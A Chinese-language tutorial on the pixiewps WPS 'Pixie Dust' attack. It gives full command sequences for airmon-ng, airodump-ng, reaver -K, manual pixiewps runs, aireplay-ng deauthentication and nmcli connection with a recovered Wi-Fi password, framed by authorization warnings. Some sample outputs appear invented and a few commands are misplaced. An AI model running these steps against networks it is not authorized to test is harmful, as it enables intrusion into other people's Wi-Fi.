pixiewps是Kali Linux中一款针对Wi-Fi Protected Setup(WPS)协议设计缺陷的高效破解工具,核心功能是利用部分无线路由器在WPS认证过程中的密码学漏洞,无需暴力破解WPS PIN码,即可快速恢复出正确的WPS PIN或无线网络的WPA-PSK密码(即Wi-Fi连接密码)。
WPS协议的正常认证流程依赖Diffie-Hellman(DH)密钥交换、随机数(Nonce)、哈希值(Hash)等密码学机制,而部分厂商的无线路由器(如使用Realtek、Broadcom特定芯片或eCos操作系统的设备)存在实现漏洞:例如DH密钥过短、随机数生成可预测、哈希计算逻辑存在缺陷等。pixiewps正是针对这些漏洞,通过提取WPS认证过程中交换的关键数据(如M1/M2/M3/M5/M7帧中的参数),结合数学计算和漏洞利用,在几秒到几分钟内破解出WPS PIN或WPA-PSK,破解效率远高于传统暴力破解工具(如Reaver、Bully)。
pixiewps通常不单独使用,需配合Reaver或Bully等工具捕获WPS认证数据,再通过自身漏洞利用能力完成破解,是WPS破解场景中提升效率的核心辅助工具。
命令参数说明
核心数据提取参数(从WPS认证帧中获取)
| 参数 | 英文描述 | 中文翻译与详细说明 |
|---|---|---|
| -e, --pke | Enrollee's DH public key, found in M1. | 注册者(Enrollee,即无线路由器)的Diffie-Hellman(DH)公钥,从WPS认证的M1帧中提取。DH公钥是WPS密钥交换的核心参数,用于生成会话密钥,必须准确提取。 |
| -r, --pkr | Registrar's DH public key, found in M2. | 登记器(Registrar,即破解端设备)的DH公钥,从WPS认证的M2帧中提取。与--pke配合完成DH密钥交换,生成共享密钥素材。 |
| -s, --e-hash1 | Enrollee hash-1, found in M3. It's the hash of the first half of the PIN. | 注册者的哈希值1,从M3帧中提取,对应WPS PIN码前半部分(前4位)的哈希值。用于验证PIN码前半段正确性,是破解PIN码的关键参数之一。 |
| -z, --e-hash2 | Enrollee hash-2, found in M3. It's the hash of the second half of the PIN. | 注册者的哈希值2,从M3帧中提取,对应WPS PIN码后半部分(后3位+校验位,共4位)的哈希值。与--e-hash1配合,共同确定完整PIN码。 |
| -n, --e-nonce | Enrollee's nonce, found in M1. | 注册者的随机数(Nonce),从M1帧中提取。随机数用于增强WPS认证的随机性,是计算会话密钥的必要参数,部分设备因随机数生成可预测导致漏洞。 |
| -m, --r-nonce | Registrar's nonce, found in M2. Used with other parameters to compute the session keys. | 登记器的随机数,从M2帧中提取。与--e-nonce、--e-bssid等参数配合,计算WPS认证所需的会话密钥(如Authentication Session Key)。 |
| -b, --e-bssid | Enrollee's BSSID. Used with other parameters to compute the session keys. | 注册者的BSSID(即无线路由器的MAC地址)。与--e-nonce、--r-nonce配合计算会话密钥,同时用于标识目标设备,确保参数对应正确。 |
| -7, --m7-enc | Encrypted settings, found in M7. Recover Enrollee's WPA-PSK and secret nonce 2. This feature only works on some Access Points vulnerable to mode 3. | M7帧中的加密设置数据。用于恢复注册者的WPA-PSK密码(Wi-Fi密码)和秘密随机数2(Secret Nonce 2),仅对存在模式3漏洞的无线路由器有效。 |
| -5, --m5-enc | Encrypted settings, found in M5. Recover Enrollee's secret nonce 1. This option must be used in conjunction with --m7-enc. If --e-hash1 and --e-hash2 are also specified, pixiewps will also recover the WPS PIN. | M5帧中的加密设置数据。用于恢复注册者的秘密随机数1(Secret Nonce 1),必须与--m7-enc配合使用;若同时指定--e-hash1和--e-hash2,可额外恢复出WPS PIN码。 |
漏洞利用模式与辅助参数
| 参数 | 英文描述 | 中文翻译与详细说明 |
|---|---|---|
| -a, --authkey | Authentication session key. Although for this parameter a modified version of Reaver or Bully is needed, it can be avoided by specifying small Diffie-Hellman keys in both Reaver and Pixiewps and supplying --e-nonce, --r-nonce and --e-bssid. | 认证会话密钥。获取该参数需使用修改版的Reaver或Bully工具,但可通过在Reaver和Pixiewps中均指定"小DH密钥"(配合--dh-small),并提供--e-nonce、--r-nonce、--e-bssid参数来避免使用该参数(推荐后者,兼容性更高)。 |
| -S, --dh-small (deprecated) | Small Diffie-Hellman keys. The same option must be specified in Reaver too. Some Access Points seem to be buggy and don't behave correctly with this option. Avoid using it with Reaver when possible. | 使用小DH密钥(已弃用)。需在Reaver中也指定相同参数才能生效,但部分无线路由器存在兼容性问题,使用后可能导致WPS认证异常,尽可能避免与Reaver配合使用。 |
| --mode N[,... N] | Select modes, comma separated (experimental modes are not used unless specified): 1 (RT/MT/CL), 2 (eCos simple), 3 (RTL819x), 4 (eCos simplest) [Experimental], 5 (eCos Knuth) [Experimental] | 选择漏洞利用模式(多个模式用逗号分隔,实验性模式需手动指定才会启用): * 模式1(RT/MT/CL):针对Realtek、MediaTek、Conexant芯片设备的漏洞; * 模式2(eCos simple):针对使用eCos操作系统的设备的基础漏洞; * 模式3(RTL819x):针对Realtek RTL819x系列芯片设备的时间相关漏洞(最常用,需配合日期参数); * 模式4(eCos simplest):eCos系统的简化实验性漏洞(稳定性低); * 模式5(eCos Knuth):基于Knuth算法的eCos系统实验性漏洞(稳定性低)。 说明:默认仅启用模式1、2、3(非实验性模式),模式3是破解WPA-PSK的核心模式。 |
| --start [mm/]yyyy | Starting and ending dates for mode 3. They are interchangeable. If only one is specified, the current time will be used for the other. The earliest possible date is 01/1970, corresponding to 0 (Unix epoch time), the latest is 02/2038, corresponding to 0x7FFFFFFF. If --force is used then pixiewps will start from the current time and go back all the way to 0. | 模式3的起始日期(格式:[月/]年,如"06/2020"或"2020"),与--end日期可互换。仅指定一个日期时,另一个日期默认使用当前时间;最早日期为01/1970(Unix纪元时间0),最晚为02/2038(0x7FFFFFFF)。若使用--force参数,将从当前时间回溯到0(覆盖此参数)。 |
| --end [mm/]yyyy | Starting and ending dates for mode 3. They are interchangeable. If only one is specified, the current time will be used for the other. The earliest possible date is 01/1970, corresponding to 0 (Unix epoch time), the latest is 02/2038, corresponding to 0x7FFFFFFF. If --force is used then pixiewps will start from the current time and go back all the way to 0. | 模式3的结束日期(格式同--start),功能与--start一致,用于限定模式3漏洞利用的时间范围(因模式3依赖设备的时间戳漏洞,缩小时间范围可提升破解速度)。 |
使用教程
1. 准备工作
1.1 硬件与软件要求
- 无线网卡 :需支持监控模式 和数据包注入(如Alfa AWUS036NH、TP-Link TL-WN722N v1),确保能捕获WPS认证帧;
- 依赖工具 :需配合Reaver或Bully(用于捕获WPS认证数据),Kali默认预装,可通过
sudo apt install reaver bully确认安装; - pixiewps安装 :Kali默认预装pixiewps,验证命令:
pixiewps -h;若未安装,执行sudo apt update && sudo apt install pixiewps。
1.2 核心前提:目标设备需存在漏洞
pixiewps仅对存在特定WPS漏洞的设备有效,需先通过Reaver/Bully初步判断目标是否可利用:
- 目标设备开启WPS功能(可通过airodump-ng查看"WPS"列,显示"PBC"或"PIN"即支持);
- 使用Reaver尝试连接时,若提示"WPS PIN attack successful"但未出密码,或显示"AP may be vulnerable to pixiewps",说明可能存在漏洞。
2. 核心流程:配合Reaver捕获数据并破解
Reaver可自动捕获WPS认证的M1/M2/M3等帧数据,并将关键参数(--pke、--pkr、--e-nonce等)输出,直接供pixiewps使用,是最常用的配合方式。
-
步骤1:启用无线网卡监控模式
参考常规无线破解流程,将网卡切换为监控模式:
sudo airmon-ng check kill # 停止干扰进程 sudo airmon-ng start wlan0 # wlan0为网卡名称,启用后变为wlan0mon验证监控模式:
iwconfig(显示"Mode:Monitor"即成功)。 -
步骤2:扫描目标WPS网络
使用airodump-ng扫描附近开启WPS的网络,记录目标BSSID、ESSID、信道:
sudo airodump-ng wlan0mon按"Ctrl+C"停止扫描,重点记录:
- BSSID:目标路由器MAC(如AA:BB:CC:DD:EE:FF);
- CH:目标信道(如6);
- ESSID:网络名称(如"MyWiFi");
- WPS:确认支持WPS(如"WPS: 1.0")。
-
步骤3:使用Reaver捕获WPS数据并调用pixiewps
Reaver支持通过
-K参数自动调用pixiewps,无需手动提取参数,是最高效的方式,命令格式:sudo reaver -i 监控接口 -b 目标BSSID -c 目标信道 -K 1参数说明:
-i:监控模式接口(如wlan0mon);-b:目标BSSID;-c:目标信道;-K 1:启用pixiewps破解模式,Reaver会自动捕获WPS数据并传递给pixiewps。
示例(目标BSSID为AA:BB:CC:DD:EE:FF,信道6):
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -K 1过程解析:
- Reaver首先与目标路由器建立WPS连接,交换M1-M7帧,捕获--pke、--pkr、--e-nonce等关键参数;
- 自动调用pixiewps,传入捕获的参数,根据目标设备类型尝试模式1-3漏洞利用;
- 若目标存在漏洞,pixiewps会快速输出WPS PIN码,Reaver随后计算出WPA-PSK密码。
-
步骤4:查看破解结果
若破解成功,终端会输出类似以下信息:
[+] Pixiewps identified WPS PIN: 12345670 [+] WPS PIN破解成功! [+] 正在计算WPA-PSK密码... [+] WPA-PSK: 87654321 [+] 破解完成,可使用密码连接目标网络。其中"WPS PIN"为目标路由器的WPS PIN码,"WPA-PSK"为Wi-Fi连接密码,记录后即可连接网络。
3. 进阶流程:手动提取参数配合pixiewps(适用于Reaver自动调用失败场景)
若Reaver自动调用pixiewps失败(如目标设备兼容性问题),可手动通过Wireshark捕获WPS帧数据,提取参数后手动执行pixiewps破解。
-
步骤1:捕获WPS认证帧(使用Wireshark)
-
启动Wireshark,选择监控模式接口(wlan0mon),开始捕获数据包;
-
在Wireshark过滤器中输入
wps,仅显示WPS相关帧; -
使用Reaver发起WPS连接(不调用pixiewps),触发目标设备发送WPS帧:
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -N # -N表示不进行PIN暴力破解,仅建立连接- 当Wireshark捕获到M1、M2、M3、M5、M7帧后(至少包含M1、M2、M3),停止捕获,保存数据包为
wps_capture.pcap。
-
-
步骤2:从Wireshark提取pixiewps所需参数
在Wireshark中打开
wps_capture.pcap,按帧类型提取以下关键参数:提取M1帧参数(--pke、--e-nonce、--e-bssid):
- 找到"WPS M1 Message"帧,展开"Wi-Fi Protected Setup"→"Registration Request"→"DH Public Key (PKE)",复制"Value"字段(即--pke参数值,十六进制字符串);
- 展开"Nonce (EN)",复制"Value"字段(即--e-nonce参数值);
- 帧头部的"Source Address"即为--e-bssid(目标BSSID,格式AA:BB:CC:DD:EE:FF)。
提取M2帧参数(--pkr、--r-nonce):
- 找到"WPS M2 Message"帧,展开"Wi-Fi Protected Setup"→"Registration Response"→"DH Public Key (PKR)",复制"Value"字段(即--pkr参数值);
- 展开"Nonce (RN)",复制"Value"字段(即--r-nonce参数值)。
提取M3帧参数(--e-hash1、--e-hash2):
- 找到"WPS M3 Message"帧,展开"Wi-Fi Protected Setup"→"Registration Request"→"Enrollee Hash 1",复制"Value"字段(即--e-hash1参数值);
- 展开"Enrollee Hash 2",复制"Value"字段(即--e-hash2参数值)。
提取M5/M7帧参数(--m5-enc、--m7-enc,模式3需用):
- 找到"WPS M5 Message"帧,展开"Wi-Fi Protected Setup"→"Registration Response"→"Encrypted Settings",复制"Value"字段(即--m5-enc参数值);
- 找到"WPS M7 Message"帧,同样提取"Encrypted Settings"的"Value"字段(即--m7-enc参数值)。
-
步骤3:手动执行pixiewps破解
根据提取的参数和目标设备类型,选择对应的破解命令格式,以下为常见场景示例:
场景1:仅破解WPS PIN码(已知M1/M2/M3帧参数)
命令格式(使用--e-hash1、--e-hash2、--e-nonce等参数):
pixiewps -e -n -m -b -s -z示例(参数需替换为实际提取值):
pixiewps -e 1A2B3C4D5E6F7890ABCDEF1234567890 -n 0FEDCBA9876543210 -m 1234567890ABCDEF -b AA:BB:CC:DD:EE:FF -s 9876FEDCBA -z 1234ABCDEF若成功,输出"WPS PIN: XXXXXXXX"(8位PIN码)。
场景2:破解WPA-PSK密码(模式3,已知M5/M7帧参数)
命令格式(需--m5-enc、--m7-enc配合--mode 3,指定时间范围):
pixiewps -e -r -n -m -b -5 -7 --mode 3 --start 01/2020 --end 12/2024示例(时间范围为2020-2024年):
pixiewps -e 1A2B3C4D5E6F7890ABCDEF1234567890 -r 0987654321FEDCBA -n 0FEDCBA9876543210 -m 1234567890ABCDEF -b AA:BB:CC:DD:EE:FF -5 ABCDEF1234 -7 567890ABCDEF --mode 3 --start 01/2020 --end 12/2024若成功,输出"WPA-PSK: XXXXXXXX"(Wi-Fi密码)。
-
步骤4:使用破解结果连接网络
- 若获得WPS PIN码,可通过Reaver计算WPA-PSK:
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -p # -p指定已知PIN码- 直接使用WPA-PSK密码连接Wi-Fi(通过系统设置或
nmcli命令):
nmcli dev wifi connect "ESSID" password "WPA-PSK密码" ifname wlan0
4. 常见问题与解决方案
4.1 Reaver调用pixiewps报错"Pixiewps failed to find a valid PIN"
问题原因:目标设备不存在pixiewps支持的漏洞,或WPS认证帧数据捕获不完整。
解决方案:
- 确认目标设备开启WPS且未被锁定(部分路由器连续失败后会临时锁定WPS,需等待10-30分钟后重试);
- 更换监控信道,确保与目标信道完全一致(如目标信道6,需确保Reaver和airodump-ng均使用信道6);
- 手动捕获WPS帧(步骤3),检查参数提取是否完整,尝试指定--mode 3并缩小时间范围(如--start 06/2023 --end 06/2024)。
4.2 Wireshark无法捕获WPS M3/M5帧
问题原因:Reaver未成功与目标建立WPS连接,或无线信号弱导致帧丢失。
解决方案:
sudo aireplay-ng -0 3 -a 目标BSSID wlan0mon # 发送3个Deauth帧
- 靠近目标路由器,提升无线信号强度(信号强度低于-70dBm易导致丢包);
- 关闭其他无线干扰设备(如蓝牙、其他Wi-Fi设备),减少信道干扰;
- 使用
aireplay-ng发送Deauth帧,强制目标客户端断开,减少网络负载:
4.3 pixiewps模式3破解超时,提示"Time range too large"
问题原因:--start和--end指定的时间范围过大(如跨10年),导致计算量激增,超时失败。
解决方案:
pixiewps -e -r -n -m -b -5 -7 --mode 3 --force
- 缩小时间范围,结合目标路由器的购买/使用时间(如已知路由器2022年购买,设置--start 01/2022 --end 12/2024);
- 使用--force参数,从当前时间回溯(适合不确定购买时间的场景):
4.4 无线网卡无法启用监控模式,报错"Error setting monitor mode"
问题原因:网卡不支持监控模式,或驱动不兼容。
解决方案:
- 检查网卡兼容性:执行
iw list | grep "monitor",无输出则不支持监控模式,需更换网卡(如Alfa AWUS036NH); - 更新网卡驱动:执行
sudo apt update && sudo apt upgrade,或前往网卡厂商官网下载Linux驱动; - 重启网络服务后重试:
sudo systemctl restart NetworkManager。
5. 注意事项
- 法律合规性红线 :pixiewps仅可用于已授权的网络安全测试(如测试自己或获得书面许可的路由器),未经授权破解他人Wi-Fi属于违法行为,可能违反《中华人民共和国网络安全法》《治安管理处罚法》,需承担民事或刑事责任。
- 漏洞局限性:pixiewps依赖特定厂商的WPS实现漏洞,并非所有开启WPS的设备都可破解(如新版路由器多已修复相关漏洞)。若目标设备无漏洞,即使参数正确也无法破解,需停止尝试并告知设备所有者更新固件。
- 避免WPS锁定 :部分路由器在WPS认证失败多次后(如5-10次),会临时锁定WPS功能(10-60分钟),甚至永久禁用。建议使用Reaver时添加
-t 10(设置超时时间10秒),减少失败次数;若提示"WPS locked",需等待锁定时间结束后重试。 - 参数准确性要求:手动提取参数时,需确保十六进制字符串无遗漏、无多余字符(如空格、换行符),BSSID格式正确(AA:BB:CC:DD:EE:FF,区分大小写),参数错误会直接导致破解失败。
- 伦理与隐私保护:即使破解成功,也不可未经允许访问他人网络资源(如查看文件、截取数据),仅可用于验证设备安全性,测试完成后需立即断开连接,并告知所有者修复漏洞(如关闭WPS功能)。
6. 工具扩展:结合Bully工具使用
Bully是与Reaver功能类似的WPS破解工具,同样支持配合pixiewps,适合部分Reaver无法兼容的目标设备,步骤如下:
sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -B # -B参数启用pixiewps支持
- 捕获目标网络信息(同步骤2,记录BSSID、信道);
- 使用Bully发起WPS连接并调用pixiewps:
- 若成功,Bully会输出WPS PIN码和WPA-PSK密码,流程与Reaver类似。
7. 总结
pixiewps是WPS破解领域的高效工具,其核心优势在于利用设备漏洞绕过暴力破解,快速获取WPS PIN或WPA-PSK密码,大幅提升破解效率。但需明确:该工具的本质是帮助网络安全测试人员发现路由器的WPS漏洞,推动设备厂商修复安全缺陷,而非非法入侵的工具。
使用时需严格遵守法律授权边界,仅在合规场景下操作;同时需注意目标设备的漏洞兼容性、参数提取准确性,避免因操作不当导致WPS锁定或数据丢失。对于普通用户,建议关闭路由器的WPS功能(多数新版路由器默认关闭),使用复杂的WPA-PSK密码(12位以上字母+数字+特殊字符),提升Wi-Fi网络安全性。